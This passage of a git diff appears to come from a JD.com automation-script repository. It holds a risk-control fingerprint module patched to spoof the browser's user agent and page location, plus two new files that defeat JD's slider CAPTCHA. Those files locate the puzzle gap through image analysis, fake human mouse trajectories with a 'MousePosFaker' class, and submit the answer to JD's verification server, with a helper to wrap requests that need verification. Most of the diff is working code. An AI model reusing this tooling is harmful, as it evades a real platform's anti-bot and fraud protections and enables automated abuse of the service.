parseInt(f[n]); + if (!r[n]) return 1; + var g = parseInt(r[n]); + if (k < g) break; + if (k > g) return 1 + } + } catch (m) { } + return -1 + }; + this.isWKWebView = function () { + return this.deviceInfo.userAgent.match(/supportJDSHWK/i) || 1 == window._is_jdsh_wkwebview ? !0 : !1 + }; + this.getErrorToken = function (n) { + try { + if (n) { + var e = (n + "").match(/"token":"(.*?)"/); + if (e && 1 < e.length) return e[1] + } + } catch (f) { } + return "" + }; + this.getJdJrBioToken = function (n) { + var e = this; + "undefined" != typeof JrBridge && null != JrBridge && "undefined" != typeof JrBridge._version && (0 > e + .compareVersion(JrBridge._version, "2.0.0") ? console.error( + "\u6865\u7248\u672c\u4f4e\u4e8e2.0\u4e0d\u652f\u6301bio") : JrBridge.callNative({ + type: e.bioConfig.type, + operation: e.bioConfig.operation, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + }, function (f) { + try { + "object" != typeof f && (f = JSON.parse(f)), e.deviceInfo.sdkToken = f.token + } catch (r) { + console.error(r) + } + null != e.deviceInfo.sdkToken && "" != e.deviceInfo.sdkToken && (f = { + tk: e.deviceInfo.sdkToken, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(f))) + })) + }; + this.getJdJrSdkCacheToken = function (n) { + var e = this; + try { + "undefined" == typeof JrBridge || null == JrBridge || "undefined" == typeof JrBridge._version || 0 > + e.compareVersion(JrBridge._version, "2.0.0") || JrBridge.callNative({ + type: e.bioConfig.type, + operation: 5, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + }, function (f) { + var r = ""; + try { + "object" != typeof f && (f = JSON.parse(f)), r = f.token + } catch (k) { + console.error(k) + } + null != r && "" != r && "function" == typeof n && (n(r), r.startsWith("jdd") && (f = { + tk: r, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(f)))) + }) + } catch (f) { } + }; + this.getJdBioToken = function (n) { + var e = this; + n = JSON.stringify({ + businessType: "bridgeBiologicalProbe", + callBackName: "_bioDeviceCb", + params: { + pin: "", + jsonData: { + type: e.bioConfig.type, + operation: e.bioConfig.operation, + data: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + }, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + } + } + }); + e.isWKWebView() ? window.webkit.messageHandlers.JDAppUnite.postMessage({ + method: "notifyMessageToNative", + params: n + }) : window.JDAppUnite && window.JDAppUnite.notifyMessageToNative(n); + window._bioDeviceCb = function (f) { + try { + var r = "object" == typeof f ? f : JSON.parse(f); + if (void 0 != r && null != r && "0" != r.status) return; + null != r.data.token && void 0 != r.data.token && "" != r.data.token && (e.deviceInfo.sdkToken = + r.data.token) + } catch (k) { + f = e.getErrorToken(f), null != f && "" != f && (e.deviceInfo.sdkToken = f) + } + null != e.deviceInfo.sdkToken && "" != e.deviceInfo.sdkToken && (f = { + tk: e.deviceInfo.sdkToken, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(f))) + } + }; + this.getJdSdkCacheToken = function (n) { + try { + var e = this, + f = JSON.stringify({ + businessType: "bridgeBiologicalProbe", + callBackName: "_bioDeviceSdkCacheCb", + params: { + pin: "", + jsonData: { + type: e.bioConfig.type, + operation: 5, + data: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + }, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + } + } + }); + e.isWKWebView() ? window.webkit.messageHandlers.JDAppUnite.postMessage({ + method: "notifyMessageToNative", + params: f + }) : window.JDAppUnite && window.JDAppUnite.notifyMessageToNative(f); + window._bioDeviceSdkCacheCb = function (r) { + var k = ""; + try { + var g = "object" == typeof r ? r : JSON.parse(r); + if (void 0 != g && null != g && "0" != g.status) return; + k = g.data.token + } catch (m) { + k = e.getErrorToken(r) + } + null != k && "" != k && "function" == typeof n && (n(k), k.startsWith("jdd") && (r = { + tk: k, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(r)))) + } + } catch (r) { } + }; + this.store = function (n, e) { + try { + this.setCookie(n, e) + } catch (f) { } + try { + window.localStorage && window.localStorage.setItem(n, e) + } catch (f) { } + try { + window.sessionStorage && window.sessionStorage.setItem(n, e) + } catch (f) { } + try { + window.globalStorage && window.globalStorage[".localdomain"].setItem(n, e) + } catch (f) { } + try { + this.db(n, _JdEid) + } catch (f) { } + }; + this.getLocal = function (n) { + var e = {}, + f = null; + try { + var r = document.cookie.replace(new RegExp("(?:(?:^|.*;\\s*)" + n + "\\s*\\=\\s*([^;]*).*$)|^.*$"), + "$1"); + 0 !== r.length && (e.cookie = r) + } catch (g) { } + try { + window.localStorage && null !== window.localStorage && 0 !== window.localStorage.length && (e.localStorage = + window.localStorage.getItem(n)) + } catch (g) { } + try { + window.sessionStorage && null !== window.sessionStorage && (e.sessionStorage = window.sessionStorage[ + n]) + } catch (g) { } + try { + p.globalStorage && (e.globalStorage = window.globalStorage[".localdomain"][n]) + } catch (g) { } + try { + d && "function" == typeof d.load && "function" == typeof d.getAttribute && (d.load( + "jdgia_user_data"), e.userData = d.getAttribute(n)) + } catch (g) { } + try { + E.indexedDbId && (e.indexedDb = E.indexedDbId) + } catch (g) { } + try { + E.webDbId && (e.webDb = E.webDbId) + } catch (g) { } + try { + for (var k in e) + if (32 < e[k].length) { + f = e[k]; + break + } + } catch (g) { } + try { + if (null == f || "undefined" === typeof f || 0 >= f.length) f = u(n) + } catch (g) { } + return f + }; + this.createWorker = function () { + if (window.Worker) { + try { + var n = new Blob([ + "onmessage = function (event) {\n var data = JSON.parse(event.data);\n try {\n var httpRequest;\n try {\n httpRequest = new XMLHttpRequest();\n } catch (h) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Microsoft.XMLHTTP')\n } catch (l) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml2.XMLHTTP')\n } catch (r) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml3.XMLHTTP')\n } catch (n) {}\n\n if(data){\n httpRequest['open']('POST', data.url, false);\n httpRequest['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded;charset=UTF-8');\n httpRequest['onreadystatechange'] = function () {\n if (4 === httpRequest['readyState'] && 200 === httpRequest['status']) {\n postMessage(httpRequest.responseText);\n }\n };\n httpRequest['send'](data.data);\n }\n\n }catch (e){console.error(e);}\n};" + ], { + type: "application/javascript" + }) + } catch (e) { + window.BlobBuilder = window.BlobBuilder || window.WebKitBlobBuilder || window.MozBlobBuilder, n = + new BlobBuilder, n.append( + "onmessage = function (event) {\n var data = JSON.parse(event.data);\n try {\n var httpRequest;\n try {\n httpRequest = new XMLHttpRequest();\n } catch (h) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Microsoft.XMLHTTP')\n } catch (l) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml2.XMLHTTP')\n } catch (r) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml3.XMLHTTP')\n } catch (n) {}\n\n if(data){\n httpRequest['open']('POST', data.url, false);\n httpRequest['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded;charset=UTF-8');\n httpRequest['onreadystatechange'] = function () {\n if (4 === httpRequest['readyState'] && 200 === httpRequest['status']) {\n postMessage(httpRequest.responseText);\n }\n };\n httpRequest['send'](data.data);\n }\n\n }catch (e){console.error(e);}\n};" + ), n = n.getBlob() + } + try { + this.worker = new Worker(URL.createObjectURL(n)) + } catch (e) { } + } + }; + this.reportWorker = function (n, e, f, r) { + try { + null != this.worker && (this.worker.postMessage(JSON.stringify({ + url: n, + data: e, + success: !1, + async: !1 + })), this.worker.onmessage = function (k) { }) + } catch (k) { } + } +}; + +function td_collect_exe() { + _fingerprint_step = 8; + var t = td_collect.collect(); + td_collect.collectSdk(); + var u = "string" === typeof orderId ? orderId : "", + v = "undefined" !== typeof jdfp_pinenp_ext && jdfp_pinenp_ext ? 2 : 1; + u = { + pin: _jdJrTdCommonsObtainPin(v), + oid: u, + p: "https:" == document.location.protocol ? "s" : "h", + fp: risk_jd_local_fingerprint, + ctype: v, + v: "2.7.10.4", + f: "3" + }; + try { + u.o = _CurrentPageUrl, u.qs = _url_query_str + } catch (w) { } + _fingerprint_step = 9; + 0 >= _JdEid.length && (_JdEid = td_collect.obtainLocal(), 0 < _JdEid.length && (_eidFlag = !0)); + u.fc = _JdEid; + try { + u.t = jd_risk_token_id + } catch (w) { } + try { + if ("undefined" != typeof gia_fp_qd_uuid && 0 <= gia_fp_qd_uuid.length) u.qi = gia_fp_qd_uuid; + else { + var x = _JdJrRiskClientStorage.jdtdstorage_cookie("qd_uid"); + u.qi = void 0 == x ? "" : x + } + } catch (w) { } + "undefined" != typeof jd_shadow__ && 0 < jd_shadow__.length && (u.jtb = jd_shadow__); + try { + td_collect.deviceInfo && void 0 != td_collect.deviceInfo && null != td_collect.deviceInfo.sdkToken && "" != + td_collect.deviceInfo.sdkToken ? (u.stk = td_collect.deviceInfo.sdkToken, td_collect.isRpTok = !0) : + td_collect.isRpTok = !1 + } catch (w) { + td_collect.isRpTok = !1 + } + x = td_collect.tdencrypt(u); + // console.log(u) + return { a: x, d: t } +} + +function _jdJrTdCommonsObtainPin(t) { + var u = ""; + "string" === typeof jd_jr_td_risk_pin && 1 == t ? u = jd_jr_td_risk_pin : "string" === typeof pin ? u = pin : + "object" === typeof pin && "string" === typeof jd_jr_td_risk_pin && (u = jd_jr_td_risk_pin); + return u +}; + +function getBody(userAgent, url = document.location.href) { + navigator.userAgent = userAgent + let href = url + let choose = /((https?:)\/\/([^\/]+))(.+)/.exec(url) + let [, origin, protocol, host, pathname] = choose; + document.location.href = href + document.location.origin = origin + document.location.protocol = protocol + document.location.host = host + document.location.pathname = pathname + const JF = new JdJrTdRiskFinger(); + let fp = JF.f.get(function (t) { + risk_jd_local_fingerprint = t + return t + }); + let arr = td_collect_exe() + return { fp, ...arr } +} + +JdJrTdRiskFinger.getBody = getBody; +module.exports = JdJrTdRiskFinger; \ No newline at end of file diff --git a/utils/.DS_Store b/utils/.DS_Store new file mode 100644 index 0000000..ff78b20 Binary files /dev/null and b/utils/.DS_Store differ diff --git a/utils/JDJRValidator.js b/utils/JDJRValidator.js new file mode 100644 index 0000000..b9dcc81 --- /dev/null +++ b/utils/JDJRValidator.js @@ -0,0 +1,381 @@ +const http = require('http'); +const stream = require('stream'); +const zlib = require('zlib'); +const vm = require('vm'); +const { createCanvas, Image } = require('canvas'); + +Math.avg = function average() { + var sum= 0; + var len = this.length; + for (var i = 0; i < len; i++) { + sum += this[i]; + } + return sum / len; +}; +function sleep(timeout) { + return new Promise((resolve) => setTimeout(resolve, timeout)); +} + +const canvas = createCanvas(); +const PUZZLE_GAP = 8; +const PUZZLE_PAD = 10; +class PuzzleRecognizer { + constructor(bg, patch, y) { + const imgBg = new Image(); + const imgPatch = new Image(); + imgBg.src = bg; + imgPatch.src = patch; + this.bg = imgBg; + this.patch = imgPatch; + this.y = y; + this.w = imgBg.naturalWidth; + this.h = imgBg.naturalHeight; + this.ctx = canvas.getContext('2d'); + } + + run() { + const { ctx, w, h } = this; + canvas.width = w; + canvas.height= h; + ctx.clearRect(0, 0, w, h); + ctx.drawImage(this.bg, 0, 0, w, h); + return this.recognize(); + } + + recognize() { + const { ctx, w: width } = this; + const { naturalHeight, naturalWidth } = this.patch; + const posY = this.y + PUZZLE_PAD + ((naturalHeight - PUZZLE_PAD) / 2) - (PUZZLE_GAP / 2); + const cData = ctx.getImageData(0, posY, width, PUZZLE_GAP).data; + const lumas = []; + for (let x = 0; x < width; x++) { + var sum = 0; + for (let y = 0; y < PUZZLE_GAP; y++) { + var idx = x * 4 + y * (width * 4); + var r = cData[idx]; + var g = cData[idx + 1]; + var b = cData[idx + 2]; + var luma = 0.2126 * r + 0.7152 * g + 0.0722 * b; + sum += luma; + } + lumas.push(sum / PUZZLE_GAP); + } + + const n = 2; // minium macroscopic image width (px) + const margin = naturalWidth - PUZZLE_PAD; + const diff = 20; // macroscopic brightness difference + const radius = PUZZLE_PAD; + for (let i = 0, len = lumas.length - 2*4; i < len; i++) { + const left = (lumas[i] + lumas[i+1]) / n; + const right = (lumas[i+2] + lumas[i+3]) / n; + const mi = margin + i; + const mLeft = (lumas[mi] + lumas[mi+1]) / n; + const mRigth = (lumas[mi+2] + lumas[mi+3]) / n; + + if (left - right > diff && mLeft - mRigth < -diff) { + const pieces = lumas.slice(i+2,margin+i+2); + const median = pieces.sort((x1,x2)=>x1-x2)[20]; + const avg = Math.avg(pieces); + if (median > left || median > mRigth) return; + if (avg > 100) return; + return i+n-radius; + } + } + return -1; + } +} + +const DATA = { + "appId": "17839d5db83", + "scene": "cww", + "product": "embed", + "lang": "zh_CN", +}; +const SERVER = 'iv.jd.com'; +class JDJRValidator { + constructor() { + this.data = {}; + this.x = 0; + this.t = Date.now(); + this.c = {}; + } + + async run() { + const tryRecognize = async () => { + const x = await this.recognize(); + + if (x > 0) { + return x; + } + // retry + return await tryRecognize(); + }; + const puzzleX = await tryRecognize(); + const pos = new MousePosFaker(puzzleX).run(); + const d = getCoordinate(pos); + + await sleep(pos[pos.length-1][2] - Date.now()); + const result = await JDJRValidator.jsonp('/slide/s.html', { d, ...this.data }); + + if (result.message === 'success') { + this.c = result; + console.log(result); + } else { + console.count(JSON.stringify(result)); + await sleep(300); + await this.run(); + } + } + + async recognize() { + const data = await JDJRValidator.jsonp('/slide/g.html', { e: '' }); + const { bg, patch, y } = data; + const uri = 'data:image/png;base64,'; + const re = new PuzzleRecognizer(uri+bg, uri+patch, y); + const puzzleX = re.run(); + + if (puzzleX > 0) { + this.data = { + c: data.challenge, + w: re.w, + e: '', + s: '', + o: '', + }; + this.x = puzzleX; + } + return puzzleX; + } + + async report(n) { + console.time('PuzzleRecognizer'); + let count = 0; + + for (let i = 0; i < n; i++) { + const x = await this.recognize(); + + if (x > 0) count ++; + if (i % 50 === 0) { + console.log('%f\%', (i/n)*100); + } + } + + console.log('successful: %f\%', (count/n)*100); + console.timeEnd('PuzzleRecognizer'); + } + + static jsonp(api, data = {}) { + return new Promise((resolve, reject) => { + const fnId = `jsonp_${String(Math.random()).replace('.', '')}`; + const extraData = { callback: fnId }; + const query = new URLSearchParams({ ...DATA, ...extraData, ...data }).toString(); + const url = `http://${SERVER}${api}?${query}`; + const headers = { + 'Accept': '*/*', + 'Accept-Encoding': 'gzip,deflate,br', + 'Accept-Language': 'zh-CN,en-US', + 'Connection': 'keep-alive', + 'Host': SERVER, + 'Proxy-Connection': 'keep-alive', + 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/2wuqXrZrhygTQzYA7VufBEpj4amH/index.html', + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36', + }; + const req = http.get(url, { headers }, (response) => { + let res = response; + if (res.headers['content-encoding'] === 'gzip') { + const unzipStream = new stream.PassThrough(); + stream.pipeline( + response, + zlib.createGunzip(), + unzipStream, + reject, + ); + res = unzipStream; + } + res.setEncoding('utf8'); + + let rawData = ''; + + res.on('data', (chunk) => rawData += chunk); + res.on('end', () => { + try { + const ctx = { + [fnId]: (data) => ctx.data = data, + data: {}, + }; + + vm.createContext(ctx); + vm.runInContext(rawData, ctx); + + res.resume(); + resolve(ctx.data); + } catch (e) { + reject(e); + } + }); + }); + + req.on('error', reject); + req.end(); + }); + } +} +function getCoordinate(c) { + function string10to64(d) { + var c = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-~".split("") + , b = c.length + , e = +d + , a = []; + do { + mod = e % b; + e = (e - mod) / b; + a.unshift(c[mod]) + } while (e); + return a.join("") + } + function prefixInteger (a, b) { + return (Array(b).join(0) + a).slice(-b) + } + function pretreatment(d, c, b) { + var e = string10to64(Math.abs(d)); + var a = ""; + if (!b) { + a += (d > 0 ? "1" : "0") + } + a += prefixInteger(e, c); + return a + } + + var b = new Array(); + for (var e = 0; e < c.length; e++) { + if (e == 0) { + b.push(pretreatment(c[e][0] < 262143 ? c[e][0] : 262143, 3, true)); + b.push(pretreatment(c[e][1] < 16777215 ? c[e][1] : 16777215, 4, true)); + b.push(pretreatment(c[e][2] < 4398046511103 ? c[e][2] : 4398046511103, 7, true)) + } else { + var a = c[e][0] - c[e - 1][0]; + var f = c[e][1] - c[e - 1][1]; + var d = c[e][2] - c[e - 1][2]; + b.push(pretreatment(a < 4095 ? a : 4095, 2, false)); + b.push(pretreatment(f < 4095 ? f : 4095, 2, false)); + b.push(pretreatment(d < 16777215 ? d : 16777215, 4, true)) + } + } + return b.join("") +} + +const HZ = 60; +class MousePosFaker { + constructor(puzzleX) { + this.x = parseInt(Math.random()*20+20, 10); + this.y = parseInt(Math.random()*80+80, 10); + this.t = Date.now(); + this.pos = [[this.x, this.y, this.t]]; + this.minDuration = parseInt(1000 / HZ, 10); + // this.puzzleX = puzzleX; + this.puzzleX = puzzleX + parseInt(Math.random()*2-1, 10); + + this.STEP = parseInt(Math.random()*6+5, 10); + this.DURATION = parseInt(Math.random()*7+14, 10)*100; + // [9,1600] [10,1400] + this.STEP = 9; + // this.DURATION = 2000; + //console.log(this.STEP, this.DURATION); + } + + run() { + const perX = this.puzzleX / this.STEP; + const perDuration = this.DURATION / this.STEP; + const firstPos = [this.x-parseInt(Math.random()*6, 10), this.y+parseInt(Math.random()*11, 10), this.t]; + + this.pos.unshift(firstPos); + this.stepPos(perX, perDuration); + this.fixPos(); + + const reactTime = parseInt(60+Math.random()*100, 10); + const lastIdx = this.pos.length - 1; + const lastPos = [this.pos[lastIdx][0], this.pos[lastIdx][1], this.pos[lastIdx][2]+reactTime]; + + this.pos.push(lastPos); + return this.pos; + } + + stepPos(x, duration) { + let n = 0; + const sqrt2 = Math.sqrt(2); + for (let i = 1; i <= this.STEP; i++) { + n += 1/i; + } + for (let i = 0; i < this.STEP; i++) { + x = this.puzzleX / (n*(i+1)); + const currX = parseInt((Math.random()*30-15)+x, 10); + const currY = parseInt(Math.random()*7-3, 10); + const currDuration = parseInt((Math.random()*0.4+0.8)*duration, 10); + + this.moveToAndCollect({ + x: currX, + y: currY, + duration: currDuration, + }); + } + } + + fixPos() { + const actualX = this.pos[this.pos.length - 1][0] - this.pos[1][0]; + const deviation = this.puzzleX - actualX; + + if (Math.abs(deviation) > 4) { + this.moveToAndCollect({ + x: deviation, + y: parseInt(Math.random()*8-3, 10), + duration: 250, + }); + } + } + + moveToAndCollect({ x, y, duration }) { + let movedX = 0; + let movedY = 0; + let movedT = 0; + const times = duration / this.minDuration; + let perX = x / times; + let perY = y / times; + let padDuration = 0; + + if (Math.abs(perX) < 1) { + padDuration = duration / Math.abs(x) - this.minDuration; + perX = 1; + perY = y / Math.abs(x); + } + + while (Math.abs(movedX) < Math.abs(x)) { + const rDuration = parseInt(padDuration + Math.random()*16-4, 10); + + movedX += perX + Math.random()*2-1; + movedY += perY; + movedT += this.minDuration + rDuration; + + const currX = parseInt(this.x + movedX, 10); + const currY = parseInt(this.y + movedY, 10); + const currT = this.t + movedT; + + this.pos.push([currX, currY, currT]); + } + + this.x += x; + this.y += y; + this.t += Math.max(duration, movedT); + } +} + +async function getResult(){ + let aaa = new JDJRValidator(); + await aaa.run(); + return `&validate=${aaa.c['validate']}`; +} + +PuzzleRecognizer.getResult = getResult; +module.exports = PuzzleRecognizer; + +// new JDJRValidator().report(1000); +//console.log(getCoordinate(new MousePosFaker(100).run())+'1111'); diff --git a/utils/JDJRValidator_Pure.js b/utils/JDJRValidator_Pure.js new file mode 100644 index 0000000..88fc307 --- /dev/null +++ b/utils/JDJRValidator_Pure.js @@ -0,0 +1,553 @@ +/* + 由于 canvas 依赖系统底层需要编译且预编译包在 github releases 上,改用另一个纯 js 解码图片。若想继续使用 canvas 可调用 runWithCanvas 。 + + 添加 injectToRequest 用以快速修复需验证的请求。eg: $.get=injectToRequest($.get.bind($)) +*/ +const https = require('https'); +const http = require('http'); +const stream = require('stream'); +const zlib = require('zlib'); +const vm = require('vm'); +const PNG = require('png-js'); +const UA = require('../USER_AGENTS.js').USER_AGENT; + + +Math.avg = function average() { + var sum = 0; + var len = this.length; + for (var i = 0; i < len; i++) { + sum += this[i]; + } + return sum / len; +}; + +function sleep(timeout) { + return new Promise((resolve) => setTimeout(resolve, timeout)); +} + +class PNGDecoder extends PNG { + constructor(args) { + super(args); + this.pixels = []; + } + + decodeToPixels() { + return new Promise((resolve) => { + try { + this.decode((pixels) => { + this.pixels = pixels; + resolve(); + }); + } catch (e) { + console.info(e) + } + }); + } + + getImageData(x, y, w, h) { + const {pixels} = this; + const len = w * h * 4; + const startIndex = x * 4 + y * (w * 4); + + return {data: pixels.slice(startIndex, startIndex + len)}; + } +} + +const PUZZLE_GAP = 8; +const PUZZLE_PAD = 10; + +class PuzzleRecognizer { + constructor(bg, patch, y) { + // console.log(bg); + const imgBg = new PNGDecoder(Buffer.from(bg, 'base64')); + const imgPatch = new PNGDecoder(Buffer.from(patch, 'base64')); + + // console.log(imgBg); + + this.bg = imgBg; + this.patch = imgPatch; + this.rawBg = bg; + this.rawPatch = patch; + this.y = y; + this.w = imgBg.width; + this.h = imgBg.height; + } + + async run() { + try { + await this.bg.decodeToPixels(); + await this.patch.decodeToPixels(); + + return this.recognize(); + } catch (e) { + console.info(e) + } + } + + recognize() { + const {ctx, w: width, bg} = this; + const {width: patchWidth, height: patchHeight} = this.patch; + const posY = this.y + PUZZLE_PAD + ((patchHeight - PUZZLE_PAD) / 2) - (PUZZLE_GAP / 2); + // const cData = ctx.getImageData(0, a.y + 10 + 20 - 4, 360, 8).data; + const cData = bg.getImageData(0, posY, width, PUZZLE_GAP).data; + const lumas = []; + + for (let x = 0; x < width; x++) { + var sum = 0; + + // y xais + for (let y = 0; y < PUZZLE_GAP; y++) { + var idx = x * 4 + y * (width * 4); + var r = cData[idx]; + var g = cData[idx + 1]; + var b = cData[idx + 2]; + var luma = 0.2126 * r + 0.7152 * g + 0.0722 * b; + + sum += luma; + } + + lumas.push(sum / PUZZLE_GAP); + } + + const n = 2; // minium macroscopic image width (px) + const margin = patchWidth - PUZZLE_PAD; + const diff = 20; // macroscopic brightness difference + const radius = PUZZLE_PAD; + for (let i = 0, len = lumas.length - 2 * 4; i < len; i++) { + const left = (lumas[i] + lumas[i + 1]) / n; + const right = (lumas[i + 2] + lumas[i + 3]) / n; + const mi = margin + i; + const mLeft = (lumas[mi] + lumas[mi + 1]) / n; + const mRigth = (lumas[mi + 2] + lumas[mi + 3]) / n; + + if (left - right > diff && mLeft - mRigth < -diff) { + const pieces = lumas.slice(i + 2, margin + i + 2); + const median = pieces.sort((x1, x2) => x1 - x2)[20]; + const avg = Math.avg(pieces); + + // noise reducation + if (median > left || median > mRigth) return; + if (avg > 100) return; + // console.table({left,right,mLeft,mRigth,median}); + // ctx.fillRect(i+n-radius, 0, 1, 360); + // console.log(i+n-radius); + return i + n - radius; + } + } + + // not found + return -1; + } + + runWithCanvas() { + const {createCanvas, Image} = require('canvas'); + const canvas = createCanvas(); + const ctx = canvas.getContext('2d'); + const imgBg = new Image(); + const imgPatch = new Image(); + const prefix = 'data:image/png;base64,'; + + imgBg.src = prefix + this.rawBg; + imgPatch.src = prefix + this.rawPatch; + const {naturalWidth: w, naturalHeight: h} = imgBg; + canvas.width = w; + canvas.height = h; + ctx.clearRect(0, 0, w, h); + ctx.drawImage(imgBg, 0, 0, w, h); + + const width = w; + const {naturalWidth, naturalHeight} = imgPatch; + const posY = this.y + PUZZLE_PAD + ((naturalHeight - PUZZLE_PAD) / 2) - (PUZZLE_GAP / 2); + // const cData = ctx.getImageData(0, a.y + 10 + 20 - 4, 360, 8).data; + const cData = ctx.getImageData(0, posY, width, PUZZLE_GAP).data; + const lumas = []; + + for (let x = 0; x < width; x++) { + var sum = 0; + + // y xais + for (let y = 0; y < PUZZLE_GAP; y++) { + var idx = x * 4 + y * (width * 4); + var r = cData[idx]; + var g = cData[idx + 1]; + var b = cData[idx + 2]; + var luma = 0.2126 * r + 0.7152 * g + 0.0722 * b; + + sum += luma; + } + + lumas.push(sum / PUZZLE_GAP); + } + + const n = 2; // minium macroscopic image width (px) + const margin = naturalWidth - PUZZLE_PAD; + const diff = 20; // macroscopic brightness difference + const radius = PUZZLE_PAD; + for (let i = 0, len = lumas.length - 2 * 4; i < len; i++) { + const left = (lumas[i] + lumas[i + 1]) / n; + const right = (lumas[i + 2] + lumas[i + 3]) / n; + const mi = margin + i; + const mLeft = (lumas[mi] + lumas[mi + 1]) / n; + const mRigth = (lumas[mi + 2] + lumas[mi + 3]) / n; + + if (left - right > diff && mLeft - mRigth < -diff) { + const pieces = lumas.slice(i + 2, margin + i + 2); + const median = pieces.sort((x1, x2) => x1 - x2)[20]; + const avg = Math.avg(pieces); + + // noise reducation + if (median > left || median > mRigth) return; + if (avg > 100) return; + // console.table({left,right,mLeft,mRigth,median}); + // ctx.fillRect(i+n-radius, 0, 1, 360); + // console.log(i+n-radius); + return i + n - radius; + } + } + + // not found + return -1; + } +} + +const DATA = { + "appId": "17839d5db83", + "product": "embed", + "lang": "zh_CN", +}; +const SERVER = '61.49.99.122'; + +class JDJRValidator { + constructor() { + this.data = {}; + this.x = 0; + this.t = Date.now(); + } + + async run(scene) { + try { + const tryRecognize = async () => { + const x = await this.recognize(scene); + + if (x > 0) { + return x; + } + // retry + return await tryRecognize(); + }; + const puzzleX = await tryRecognize(); + // console.log(puzzleX); + const pos = new MousePosFaker(puzzleX).run(); + const d = getCoordinate(pos); + + // console.log(pos[pos.length-1][2] -Date.now()); + // await sleep(4500); + await sleep(pos[pos.length - 1][2] - Date.now()); + const result = await JDJRValidator.jsonp('/slide/s.html', {d, ...this.data}, scene); + + if (result.message === 'success') { + // console.log(result); + console.log('JDJR验证用时: %fs', (Date.now() - this.t) / 1000); + return result; + } else { + console.count("验证失败"); + // console.count(JSON.stringify(result)); + await sleep(300); + return await this.run(scene); + } + } catch (e) { + console.info(e) + } + } + + async recognize(scene) { + try { + const data = await JDJRValidator.jsonp('/slide/g.html', {e: ''}, scene); + const {bg, patch, y} = data; + // const uri = 'data:image/png;base64,'; + // const re = new PuzzleRecognizer(uri+bg, uri+patch, y); + const re = new PuzzleRecognizer(bg, patch, y); + const puzzleX = await re.run(); + + if (puzzleX > 0) { + this.data = { + c: data.challenge, + w: re.w, + e: '', + s: '', + o: '', + }; + this.x = puzzleX; + } + return puzzleX; + } catch (e) { + console.info(e) + } + } + + async report(n) { + console.time('PuzzleRecognizer'); + let count = 0; + + for (let i = 0; i < n; i++) { + const x = await this.recognize(); + + if (x > 0) count++; + if (i % 50 === 0) { + // console.log('%f\%', (i / n) * 100); + } + } + + console.log('验证成功: %f\%', (count / n) * 100); + console.timeEnd('PuzzleRecognizer'); + } + + static jsonp(api, data = {}, scene) { + return new Promise((resolve, reject) => { + const fnId = `jsonp_${String(Math.random()).replace('.', '')}`; + const extraData = {callback: fnId}; + const query = new URLSearchParams({...DATA, ...{"scene": scene}, ...extraData, ...data}).toString(); + const url = `http://${SERVER}${api}?${query}`; + const headers = { + 'Accept': '*/*', + 'Accept-Encoding': 'gzip,deflate,br', + 'Accept-Language': 'zh-CN,en-US', + 'Connection': 'keep-alive', + 'Host': SERVER, + 'Proxy-Connection': 'keep-alive', + 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/2wuqXrZrhygTQzYA7VufBEpj4amH/index.html', + 'User-Agent': UA, + }; + const req = http.get(url, {headers}, (response) => { + let res = response; + if (res.headers['content-encoding'] === 'gzip') { + const unzipStream = new stream.PassThrough(); + stream.pipeline( + response, + zlib.createGunzip(), + unzipStream, + reject, + ); + res = unzipStream; + } + res.setEncoding('utf8'); + + let rawData = ''; + + res.on('data', (chunk) => rawData += chunk); + res.on('end', () => { + try { + const ctx = { + [fnId]: (data) => ctx.data = data, + data: {}, + }; + + vm.createContext(ctx); + vm.runInContext(rawData, ctx); + + // console.log(ctx.data); + res.resume(); + resolve(ctx.data); + } catch (e) { + reject(e); + } + }); + }); + + req.on('error', reject); + req.end(); + }); + } +} + +function getCoordinate(c) { + function string10to64(d) { + var c = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-~".split("") + , b = c.length + , e = +d + , a = []; + do { + mod = e % b; + e = (e - mod) / b; + a.unshift(c[mod]) + } while (e); + return a.join("") + } + + function prefixInteger(a, b) { + return (Array(b).join(0) + a).slice(-b) + } + + function pretreatment(d, c, b) { + var e = string10to64(Math.abs(d)); + var a = ""; + if (!b) { + a += (d > 0 ? "1" : "0") + } + a += prefixInteger(e, c); + return a + } + + var b = new Array(); + for (var e = 0; e < c.length; e++) { + if (e == 0) { + b.push(pretreatment(c[e][0] < 262143 ? c[e][0] : 262143, 3, true)); + b.push(pretreatment(c[e][1] < 16777215 ? c[e][1] : 16777215, 4, true)); + b.push(pretreatment(c[e][2] < 4398046511103 ? c[e][2] : 4398046511103, 7, true)) + } else { + var a = c[e][0] - c[e - 1][0]; + var f = c[e][1] - c[e - 1][1]; + var d = c[e][2] - c[e - 1][2]; + b.push(pretreatment(a < 4095 ? a : 4095, 2, false)); + b.push(pretreatment(f < 4095 ? f : 4095, 2, false)); + b.push(pretreatment(d < 16777215 ? d : 16777215, 4, true)) + } + } + return b.join("") +} + 